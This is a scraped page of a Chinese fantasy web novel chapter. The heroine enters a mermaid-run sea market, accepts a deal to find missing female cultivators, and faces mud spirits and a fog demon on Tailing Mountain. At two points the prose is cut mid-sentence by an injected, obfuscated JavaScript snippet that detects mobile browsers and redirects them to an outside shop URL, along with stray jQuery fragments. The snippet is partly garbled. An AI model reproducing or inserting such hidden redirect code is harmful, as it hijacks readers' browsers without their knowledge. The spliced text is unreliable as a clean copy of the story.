褚无晦追赶至道观,瞧见褚恣站在梨树下,花与月色簌簌倾洒在她一人身上。 “师妹,快回来!”他轻轻伸出手去,却在碰触到她发丝的刹那,褚恣整个人散作梨花,落了他满身。 褚恣已来到观后,却见院墙高耸,无门无路,只有一棵老槐树在夜色中招摇:“前辈,观后已无路可去。” 任无为道:“古槐招阴聚灵可通阴阳,那便是你的路。” 寂无人声的夜里,褚无晦的脚步声正在靠近,褚恣不再犹豫,一咬牙朝前方幢幢树影一头撞过去,想象中的疼痛并没有来临,风卷着湿冷腥气扑面而来,耳畔似有浪声。 褚恣再睁眼时,人已不在观中,而是在一处渡口。 简易的几间屋舍前灯火摇曳,褚恣沿着栈道走过去,只见那飘扬的旗幡上写着三个字“瀛洲渡”。 渡口的河床上有渔舟如星罗棋布,人声鼎沸,挤挤挨挨争先登上各自的渔舟,栈道上站着一个驼背老人,声如洪钟大声喊着:“去海市!还有没有人去瀛洲海市!摆渡费只要一颗灵石!” 不知是什么缘故,任无为那边没了动静,褚恣唯恐褚无晦追上来,赶紧拿金铃付了钱随意跳上一艘渔舟。渔舟沿着河床缓缓驶向海天一线,海风拂面,天地愈发壮阔。 褚恣这才想到一个问题。她常年被困在长生宗内,又因褚无晦刻意抹除了一些宗门,她对外界所知甚少,譬如她即将前往的——瀛洲海市。 她只听闻瀛洲海市可易万物,情报、秘籍、珍宝……只要你付得起足够的代价,便可交易任何东西,是以仙门之中前往瀛洲海市的求购者络绎不绝。 再详实的她就不知道了,譬如如何进入海市?如何交易?若交易失败当如何? 不过既来之则安之,褚恣倒是心宽,扭头跟摆渡的渔女聊起天来。这渔女身形细瘦,头戴斗笠面覆巾帛,看不出是何模样,被褚恣三言两语一逗,一双眼睛含笑,似有摄人心魄之意。 很快,周围的渔舟骚动起来:“来了来了!” 求购者纷纷站在船头急切远眺,脸上俱是欣喜之色。 褚恣顺着他们的目光看过去,瞧见月下天际处,海上翻涌出数丈高的巨浪,一幢庞然大物缓缓自海水中升起,所有人屏住呼吸,翘首以盼,只见巨浪散尽庞然大物缓缓驶来,褚恣这才看清,竟是一艘数丈高的巨大航船。 四周的渔舟陆陆续续亮起了渔灯,那些亮了渔灯的求购者欣喜若狂,没有亮渔灯的则垂头丧气,原路返回,褚恣注意到自己面前的渔灯也亮了起来。 她还在好奇如何登上海市,只见摆渡的渔女忽然跳进海中,褚恣赶紧去捞,未曾想她又从海面上冒出颗头来,斗笠巾帛已经掉了,露出一张美得雌雄莫辨的脸,大半截身子都泡在海水里。 借着满月的月光,褚恣看清了海面下,她的双腿化作了一条闪着细鳞的尾巴。 “鲛人!是鲛人!” “竟然这么多……” 海域上响起此起彼伏的惊叹,褚恣略扫了一眼,不由倒吸一口凉气,月色下每一艘渔舟跟前都有这样一条鲛人,一眼望去,足足有数百条之多! “我叫三宝,是您的听潮者,请随我上海市。”那鲛人自我介绍完,便拖着褚恣的渔舟去往航船,甲板已经放好,其余听潮者也陆陆续续带着自己的客人登上甲板。一登上甲板,所有听潮者的尾巴又重新化作双腿,与人一般无二。 海市内部宛若一座宫殿,大得出奇,处处摆放着褚恣未曾见过的奇珍异宝,褚恣跟着三宝往里走,忽然听见前方一阵骚动:“什么?要在这里卖身三百年?” 一道温和冷漠的声音响起:“是的客人,按海市的规矩,您无法提供等额交易的话,需要在此做三百年听潮者作为偿还。” “老子不管!反正老子已入极境,你们能奈我何?”说罢摇身一晃化作一缕轻烟。 入极境的修士能瞬移至千里之外,谁知那位听潮者不紧不慢,轻轻开口:“定海。” 话音刚落,头顶一颗海珠骤然泛起刺眼白光,瞬间将那缕轻烟截下,光亮过后,那个癞头独眼的修士已然化作人首鱼尾的鲛人,在地上甩动着尾巴作徒劳挣扎。 三宝蹙着眉:“真难看,简直有损我们鲛人的美名。” 目睹了整个过程的褚恣:“……” “偿还不了交易的,都会变成他这样吗?” “也不全是,客人。”三宝十分尽责地向她介绍,“他是因修为太低只能做听潮者,修为高者可以做玄鳌卫,玄鳌卫境界最低都是化境真人,据说缥缈山四圣之一也做过我们的玄鳌卫呢!” 缥缈山?好熟悉的名字! 不待褚恣细想,三宝带着她在一处舱门前停下:“市令大人,客人到了。” 褚恣回神,她现在身无分文,恐怕也无力支付海市的交易,转身便要离开:“我没什么想要的,你们找错人了!” “你三魂尽失,难道不想找回三魂吗?”背后的舱门内,海市令神秘低沉的声音幽幽传来。 褚恣身形一顿。 的确,褚无晦耗费百年,也才堪堪集齐她的七魄而已,与海市达成交易便可找回三魂,找回前世的记忆,这样的诱惑实在太大了! 三宝露出一个意料之中的礼貌微笑,依旧笔直地站在舱门前,维持着“请进”的姿势:“客人,海市交易,童叟无欺哦!” 那舱门“吱呀”一声缓缓打开,内里是无尽的漆黑,褚恣一步一步迈向黑暗,走进了那道舱门。 船舱当中摆放着一扇屏风,屏风上绘着地图,上书“十四洲”,褚恣这才得见仙门全貌。 北方长生巅仙山绵延万里,无情道剑宗以仙山为名开宗千年,东部临海有蓬莱、方丈、瀛洲,南部孟、云、陵三大世家鼎立,分管胤、燕、晋三国,西方地域辽阔、地势复杂,有巫泽、大梵天、缥缈山、天玄涧、临渊悬济门、伏龙墟御兽宗、无妄海律吕宗各大仙宗林立。 每个宗门都看着眼熟,不知道自己前世的师门究竟是哪一个。 海市令的声音自屏风后响起:“客人若想找回前世记忆,须先找回三魂,而海市恰好知晓客人的三魂散落在何处。” “客人,有兴趣做个交易吗?” 褚恣道:“我需要付出的代价是什么?” 那人手指轻轻一挥,褚恣手中多出厚厚一叠画像:“你的人魂散落在陵氏所辖晋国,正巧你手中的那些画像皆是在晋国无故失踪的女修,你需要找回这些失踪女修。” 这不是顺手的事?褚恣欣然接受:“成交。” 话音刚落,屏风上的地图忽然扭曲变幻,褚恣感到一股强大的吸力,整个人不受控一般,猛地跌入屏风当中。 …… 三清天。 巨大的水镜前站着一男一女两道修长身影,女子神色急切:“大师兄,小五那边怎么突然断了?” 任无为沉吟片刻,压下眸底的情绪:“她被海市劫走了。” 女子道:“那现在怎么办?” 任无为不紧不慢坐下沏茶,那双眼睛在茶烟氤氲中犹自带笑:“不要紧,吾已将一切安排妥当。” “你送进心境的那只穷奇,不过是明修栈道,暗度陈仓罢了。” …… 晋国,太陵山。 正值酷暑,山脚下一片郁郁葱葱的樟树下,支起一个简易茶棚,供旅人临时歇脚避暑。 褚恣坐茶棚下翻看《归魂定魄实录》。 昨夜太匆忙,她只略略扫过一眼便感觉受到蒙蔽,而今细细一想,又觉得哪些地方不对劲。 褚无晦前世为何没有证道飞升? 他既已杀妻证道,为何要费劲心机为她归魂定魄?还有那假契书是怎么回事? 她正要往后翻看,一身黑衣劲装的少女风尘仆仆地赶了过来。少女名唤卫琳,是天玄涧刀修,来此找寻失踪了三个月的小师妹卫瑶,来时满脸不愤:“陵氏未免太托大了!连海市的面子都不给!见了连少主的信物,却只派了两个外门弟子前来相助。” 陵氏两个弟子中稍矮一点的唤做陵尘,寡言木讷,个子稍高一点的唤做陵垚,温和可亲,赔笑道:“家主抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486083|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恙在身,内门子弟皆侍奉左右,还请连少主见谅。” 他们口中的“连少主”连穷碧,是瀛洲连氏长女,海市给褚恣借用的身份,担心她也遭遇不测,还特地将她扮做男装。 “不妨事,”褚恣收好卷轴,朝陵氏弟子互相见礼后,又向卫琳递过去一盏茶,轻声道:“卫姑娘赶路辛苦了,在下特意为你凉了一盏青梅茶,消消暑热吧。” 白瓷清茶,君子端方,卫琳耳尖微微一红,也不好意思再发作:“不知道悬济门那边可还顺利?” 悬济门大师姐黄妙仪,半月前入十四洲义诊,途经此地后亦下落不明。悬济门中的两个小师妹柳茵、公孙敏下山来寻,正好与褚恣她们碰上。 话音刚落,两名少女亦匆匆赶来,脸上有些失望:“连少主,我师妹二人在山下镇子里问遍了,也没找到散修。” 褚恣本想着有本地散修引路进山,找人会更容易些,一般山河湖海灵炁充沛,应该多有散修聚居才对,可公孙敏和柳茵走了十来个镇子,都没有打听到一个散修,只好退而求其次,找了山脚下一处村子的村民带路。 柳茵第一次出山门,有些胆小,躲在公孙敏身后,声音怯怯的:“山下的村民说,这山里有妖,专吃年轻女子的魂魄。” “阿茵,你我出身仙门,难道还怕妖怪不成?”公孙敏宽慰柳茵两句。 “别怕柳姑娘,”褚恣取下手腕的红玉珠串,轻轻缠绕在柳茵腕间,“这手串藏有我的灵炁,遇到危险它会保护你。” “多、多谢少主。”柳茵颊边迅速飞红,褚恣忽然感到后背一凉,似乎有人在盯着自己,回头四顾却毫无异样。 “陵尘道友,既然人已聚齐,还请召出符鸟助我们一臂之力。” 陵氏的符鸟寻人术在仙门中颇负盛名。陵尘取出丹砂作笔,在带有黄妙仪、卫瑶灵炁的旧物上画上符篆,又以火燃尽,摇曳火焰中飞出两只符鸟,双双往太陵山腹地飞去。 众人一路跟着这两只符鸟进了山。 山间林木又高又密遮天蔽日,林中雾嶂遍布蚊虫嗡鸣,李二本就是山野村夫,比不得褚恣她们有法诀护身,仙气飘飘清爽宜人,他那身粗麻布的衣裳因为汗湿贴在身上,被山中蚊虫叮咬后浑身又热又痒。 柳茵心细,见他一路擦汗挠背,便递给他一个药囊:“这囊中有我们悬济门的祛毒符,常人带上便可驱虫避毒。” “哎哟!多谢多谢!”李二毕恭毕敬地接过,“俺粗人一个,怎么配用仙使的神符?” 话是这样说,手上却将药囊往怀中随意一塞,他早就知这几人不同寻常,一心只想跟仙使套套近乎,便道:“几位仙使也是来俺们太陵山游山玩水的吧?” 凡人未开天眼看不见符鸟,褚恣未免打草惊蛇并未告知李二她们所行是为了找人,便顺着李二的话说:“这太陵山当真风景秀丽,不愧是晋国第一山。” 连仙使都对太陵山赞不绝口,李二神气极了:“那是!许多世家公子小姐都爱来俺们这太陵山踏青游玩,山里的鹊桥、仙女湖景色更是一绝!别的地方都可以不去,这两个地方不去的话这趟太陵山算是白来!哦对咧对咧!还有山神庙!太陵山的山神庙许愿可灵咧!” 一夸起太陵山来,李二便滔滔不绝如数家珍,忽闻头顶雷声隐隐,抬头一看果见上空黑云沉沉压境。 “哎唷!要下雨咧!”李二嘿嘿一笑,“下雨好!下了雨山里更漂亮啦!连大文豪都夸‘烟雨太陵山,凌波仙女湖’嘞!” 话音刚落,山风呼啸作响,豆大的雨点骤然劈头砸落,转瞬化作倾盆大雨,众人只好撑伞行路,公孙敏大声道:“这雨太大了!还是找个地方避雨吧!” 李二不知何时已将蓑衣斗笠穿戴好,摆摆手:“仙使有所不知!这所谓‘雷公先唱歌,有雨也不多’,依俺看啊!这雨很快就会停啦!” 公孙敏寻人心切,听李二这样说,也就放下心来。谁知她还没走几步,脚下却像忽然一空陷进地里。按理,这么点雨还不至于让山路化作泥沼,怎么脚下像踩着烂泥潭一般,这么容易陷进去? 她没细想,兀自提起裙摆想将脚拔出来,费了半天功夫,好不容易挣脱出来,低头一看,整个人却定在原地,头皮一阵发麻。 随着她的脚一起被带出来的,赫然是一只手,一只五指扭曲、混着腐烂腥气的泥手,正紧紧扣在她的鞋面上。 公孙敏:“啊啊啊啊啊!” 9. 009 拜山神暴雨遇邪煞(一) 那泥手紧贴公孙敏的脚踝皮肉,似有生命一般飞快地从顺着她的小腿一路向上攀爬,所过之处原本鲜活的皮肉瞬间褪尽生机化作僵硬的烂泥。 公孙敏浑身动弹不得,只剩下满眼惊惧,喉咙连一丝声音都发不出。眼睁睁看着那只腐烂腥臭的泥手爬到她的大腿处,忽而五指成爪扣紧皮肉狠狠向下猛拽,她还来不及挣脱,大半个身子就已经陷入泥沼。 “敏敏!”柳茵一把将伞扔下,踏过泥泞飞奔过去死死拽住公孙敏的手,两手相触的瞬间,她腕间的红玉手串散发出刺眼的红光,一声凄厉的惨叫自泥潭深处传来,似乎要将人的耳膜刺破,但好在,公孙敏身子一轻那道蛮横沉重的力道终于消失了。 卫琳也反应过来,赶紧跑过去将公孙敏从泥沼中拉出来,谁知公孙敏腰部以下的半截身子已全部化作腐臭粘稠的烂泥,雨水一淋便化作泥水淅淅沥沥流淌进泥潭中。 “是泥胎!快找地方避雨!” 褚恣认出这邪物,立时将伞移至公孙敏上空为她避雨,豆大的雨点砸在她脸上,她险些睁不开眼睛。 李二一拍大腿:“前面有个山神庙!有山神保佑,邪祟肯定进不来!” 说时迟那时快,脚下原本坚实的山路俱已化作软塌泥沼,无数只乌黑腐烂的泥手宛若莲花绽放一般自淤泥下伸出来,争先恐后地去拽她们的脚踝,恨不得将所有未染尘泥之人悉数拖进淤泥之中。 李二跑在最前面带路,褚恣抱着公孙敏,柳茵、卫琳紧随其后,陵垚、陵尘断后,泥胎浪涌一般朝她们脚下扑来,众人不敢停顿冒着雨一口气跑了二里多地终于进了山神庙。 蜂拥而来的泥胎原本在泥泞中游走直追,却在山神庙门口时猛地顿住又纷纷潮水般褪去,看来当真是山神显灵了。众人暂时松了口气,褚恣却察觉到一丝不寻常。 泥胎多生于荒野山林,逢雨而出以捉弄山里的行人为乐,而方才那只泥胎的邪性恐怕早已超出了捉弄人的范畴。泥胎依靠吸食阴邪之气为生,供养它们的环境越阴邪,泥胎邪性越重,数量越多。 思及此,褚恣微微蹙着眉,这太陵山恐怕远不止表面看上去那般简单! 但这到底是褚恣的揣测,她没有实证,唯恐贸然说出来闹得人心惶惶,后果更加糟糕,于是低声对陵尘道:“这山中恐怕并不简单,陵尘道友,不知可否向陵氏本家传信,再多请些陵氏的弟子前来相助?” 陵尘不答,只是走向陵垚,二人附耳低言了片刻,陵尘才回应道:“好。” 他从腰间掏出一张符篆,指尖掐诀掌心腾出一簇幽蓝火焰,符篆燃尽后在空中升腾起一行小字:“长公子敬启:太陵山恐有凶邪,请速速支援。” 那字倏忽间便从褚恣眼前消失,陵垚笑着解释:“此乃陵氏的符信,只消半个时辰便可至传信之人手中。” 褚恣有些疑惑,金铃传信瞬息便至,为何不用金铃?不止如此褚恣还发现,除了她,卫琳、柳茵、公孙敏竟然都没有金铃,她此前就觉得奇怪,金铃可以定位,若要寻人金铃是最方便的,为何不用金铃偏用符鸟? 庙里,柳茵对着公孙敏的泥像抹眼泪:“呜呜呜……敏敏……都是我不好,都怪我硬要拖着你来寻大师姐……呜呜呜……现在、现在大师姐没找到……连你也……” 卫琳性子虽急,却很能理解她们师姐妹的感情,但她实在是不会安慰人:“别哭,她还没死。” 公孙敏:“?” 柳茵:“?” 褚恣走到柳茵身边,就像从前褚无晦无数次安慰她那样,轻抚她头顶,柔声道:“你已经做得很好了,若非你反应及时,恐怕公孙姑娘此时已经没命了。” “别担心,待到日出时将公孙姑娘在烈日底下晒上两个时辰,她身上的泥胎自然便会脱落。” 李二连连拍马屁:“哎呀这位仙使可真厉害!俺们山里人遇到这玩意儿就是靠晒太阳!” 陵垚一方面不愿得罪海市,一方面见这连少主在三位女修之间游刃有余长袖善舞,十分看不惯,阴阳怪气道:“连少主出身海市,什么大风大浪未曾见过,自是见多识广。” 褚恣心道,哪里哪里,都是平日用功看话本学的,叫你们平时多看闲书跟害你们似的。 褚恣一面跟陵垚奉承,一面留意起了所在这处山神庙。 山神庙不大,因常年有人供奉打理得还算干净,只是供奉在神龛上的所谓“山神”,有些出乎她的意料。 神龛上卧着一头大青牛,牛头望天,四条腿却蜷在地上,像是要飞升却又被人困住。香坛中还有香火尚未燃尽,供果、祭品也十足新鲜,应是刚刚供上不久。 这便怪了,这一路上除了她们也没看见其他人进山,这香火贡品是何人所上? 褚恣来不及细想,李二直接将装着供果的果碟端下来,随手拿起一个脆桃在身上胡乱擦了擦便“咔嚓”一口咬上去。 褚恣蹙眉:“这不是贡品吗?你怎么能吃贡品?” “仙使有所不知,山神普渡众生,吃了祂的贡品许的愿就会成真。”一面说一面给每个人都分了一个脆桃。 仙门修士本已辟谷不辨饥饱,也不知是方才一路狂奔当真饿了,还是见李二吃得实在香甜,众人不免食指大动,卫琳拿手巾擦干净后急不可耐地一口咬下去,囫囵道:“许什么愿望都灵吗?” 李二两口吃完一个桃,黄黑的手胡乱擦了两把嘴上的汁水:“也不全是,这山神求姻缘、仕途最灵了,所以来拜山神的,属公子小姐最多了!” 褚恣正细细打量着刻着山神来历的石碑,越看眉头皱得越紧,陵垚走过来关切道:“连少主是看到什么了?” 他站在神龛侧面,那张温和的脸一半被山神像投下来的阴影挡住,一半被神龛上的烛火照亮,眼神在跳动的烛火中有些晦暗不明。 褚恣摇了摇头:“没什么,只是看这石碑上刻着这样一长串香客的名字不免有些感慨,一个小小的山神庙,香火未免也太好了。” “想来是山神显灵,故香火不绝,”柳茵顿了顿,悄悄瞄了一眼褚恣,耳尖微微泛红,“我、我也试试。” 柳茵许完愿,向褚恣递过来一颗桃,少女含羞带怯,面颊比之手中的桃还要白里透红。 褚恣正要接过,一道灰影骤然飞掠进庙中,她唯恐是泥胎闯入,忙将柳茵护在身后,谁知那灰影“嗷呜”一声将桃叨走了,褚恣立时追出庙去,外面雨已经停了,林中起了浓浓雾霭,而灰影早就隐没在雾霭之中。 褚恣不好再追,一来这山中实在邪门,二来她瞥见草丛里有一张符篆,符篆灵炁十足,笔意畅顺,非极境修士所难为,她盯着这符篆看了片刻,小心将它收进金铃当中。 回到山神庙时,陵尘已再次召出卫瑶的符鸟,卫琳、陵垚跟在他身后,褚恣见少了一个人,便问道:“柳姑娘呢?” 柳茵从山神庙探出个头来,朝褚恣笑了笑,道:“连少主,你们先行吧!等敏敏身上的泥胎脱落,我们再追过来。” 褚恣一想,也好,公孙敏如今这样必须得留下一人照料,为了以防万一,她在柳茵和公孙敏身上各画了一道金印法诀,如遇凶邪能在关键时刻救下她们性命。 几人再次跟随符鸟出发,越是进入腹地深处,山路越发陡峭难行,山间的雾也起得诡异,浓稠得简直看不清前面的路,总觉得透着股森森阴气。 山中安静得可怕,除了她们的赶路喘息声,便是风过树木的呼啸声和一些形容不出的古怪声响,压抑的情绪沉沉压在卫琳心头,生怕还没找到小师妹,自己也被这大山吞噬了,索性打破沉默,道:“这雾实在是邪气的很!会不会有什么凶邪之物出没?” “不错。”陵垚附和,又唯恐大声讲话惊扰到什么不该招惹的东西,声音低得只剩气声,“太陵山中定有不少山精野怪,若是怪、煞尚能应对,若是碰上邪、祟可如何是好?” 仙门对凶邪之物自有评级:曰怪、煞、邪、祟,越往后凶性越高。低级精怪只是捉弄人,煞者非死即伤,正如方才碰上的泥胎,邪者现世必有人横死,祟者现世则是血流成河、死伤无数,非化境真人不可降服。 褚恣前世所遇雀头青和那头将褚无晦重伤的凶兽,都属于邪。 说起来,不知道褚无晦的伤好了没有? 褚恣正出神,走在最前面的李二忽然一顿,浑身抖得不成样子,竟连一句话都说不明白:“嘶……嘶……” 褚恣心里暗道不好,忙探头去看,视线落上去的瞬间霎时头皮发麻。 前方茫茫白雾之中,有什么东西挡住了她们的去路,她看不清那东西的全貌,只看见一对硕大冷亮的竖瞳悬空浮荡头顶,宛若一对荧绿的灯笼。 李二:“蛇、蛇妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486084|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊啊啊!!!!” 闻说是蛇妖,众人的心反而定了下来,妖总比未知的邪祟好。卫琳正积了满肚子的火无处发泄,横刀一出凌利灵炁便朝那蛇妖砍过去。 她的刀乃上品玄铁所铸,又蕴含刀修的霸道灵炁,自是削铁如泥。 那丈余长的巨蛇直起身子,阴影瞬间将人尽数笼罩,陵垚拎起李二的衣领赶紧后撤,下一瞬巨蛇的尾巴力如千钧横扫过来,原先他们所在之地竟被砸出裂缝,周遭草木横飞! 卫琳身影快得让人看不清,只瞧见几道雪亮刀光斩破浓雾,下一瞬已朝那巨蛇的七寸砍上去。谁知刀锋刚至,巨蛇却骤然化作一团雾气,卫琳暗道糟糕正要旋身退开,谁知雾气又再度凝成巨蛇将她退路全部截断。 卫琳眼前一黑,整个人已被巨蛇狠狠绞缠住,细密冰凉的鳞甲寸寸勒紧,她听见骨骼被勒得咯咯作响的声音,有些喘不上气。 陵尘一手持斩妖符篆,一手结印,趁巨蛇不备一掌将符篆按在巨蛇身上,谁知手下又是一空,巨蛇化作一个细长黢黑的人影,脑袋挂在林稍上,脖子足有一尺多长,那绞缠着卫琳的巨大蛇身竟是它浓黑的长发!它身形一散,正要卷着卫琳往另一方向的密林游走,褚恣却迅速结印,灵炁化为千万支利箭落雨般截住它的去路,褚恣趁机以灵炁为剑斩断它的长发将卫琳解救出来。 谁知,它似是被激怒一般,身躯一散竟化作千万只青首玄身的雀头青,密密麻麻如黑云压境一般朝褚恣等一行人袭来。 怎么会? 这里怎么也有雀头青? 褚恣脑袋嗡的一响,她是见识过雀头青有多难缠的,来不及细想,只喊出一个字:“逃!” 陵垚拎着李二跟在褚恣身后:“这是个什么邪物?符篆、法诀怎么都对它无用?” “此乃雀头青,本应镇守于白玉菩提树,我也不明白为何它们会出现在此处!” “那便是了!”陵垚恍然,“方才那邪物名唤雾魈,能化作人心中惧怕之物,李二畏蛇,行于浓雾之中不免会想到山野中会不会有蛇妖,而连少主恐怕方才是想到了雀头青才会让雾魈化出来!” 卫琳道:“这玩意儿数量太多,我们这样逃下去不是办法,连少主既已知道它的来头,可曾知晓应对之策?” 褚恣沉吟片刻,道:“它畏水!” 李二赶紧道:“往东一里外就是鹊桥,鹊桥对岸便是仙女湖!” 一行人立时调转方向往东而去,一路上林木渐稀,直至穿出密林才发现身前已是万丈悬崖,两山断崖遥遥相望,一道狭长的悬空吊桥横跨其间。 一道镇山石立在桥头,上书“鹊桥”二字,猩红朱漆艳丽得像是要泛出血光。 鹊桥对岸,果见万顷烟波浩渺,水光映着天光粼粼漾开,山色如翠倒映其中,极为壮阔清寂。 褚恣却脚下一顿。 不对劲。 总觉得有什么地方不对劲。 褚恣说不上来,却见卫琳已踏上那微微晃动的吊桥,正想抓住她:“卫琳!等等……” 陵垚匆忙跑上吊桥,一把将褚恣的手撞开,却见褚恣站在桥头迟迟未动,赶紧催促:“连少主!赶紧过桥吧!那食人的怪鸟已经追上来了!” 背后雀头青乌泱泱紧追上来,褚恣赶紧小跑上桥,行至一半却再没有听见雀头青的动静。 她回过头,雀头青早已没了踪影,只有那细长黢黑的雾魈立在悬崖处,空洞的眼神死死盯着桥的另一头。 前面的几人已走到了鹊桥对岸,褚恣兀自停下脚步,灵炁化作一把灵剑,横下心来举剑朝脚下的吊桥砍去,谁知这木板铁索所制的吊桥竟化作四散纷飞的鸟,她脚下落空,正要召出坐骑云鲸,一道灰影稳稳将她接住,踩着半空惊飞的鸟将她送到了对岸仙女湖畔。 褚恣来不及看那灰影一眼,只瞧见湖中一叶扁舟,李二划着桨,乘着卫琳、陵垚、陵尘渡湖而去。 “卫琳!卫琳!”褚恣连着喊了好几声,船上的卫琳却目光呆滞毫无反应。 方才还天光相接的湖面忽然瘴气弥漫,将褚恣的视线全部遮挡,褚恣心中焦急,唯恐卫琳遭遇不测,正想凌波追上去,身后却有人一把拉住了她。 “师妹,别再追了,当心有诈。” 来人声音冷冽如湖上寒烟,褚恣回头,见到了两日未见的褚无晦。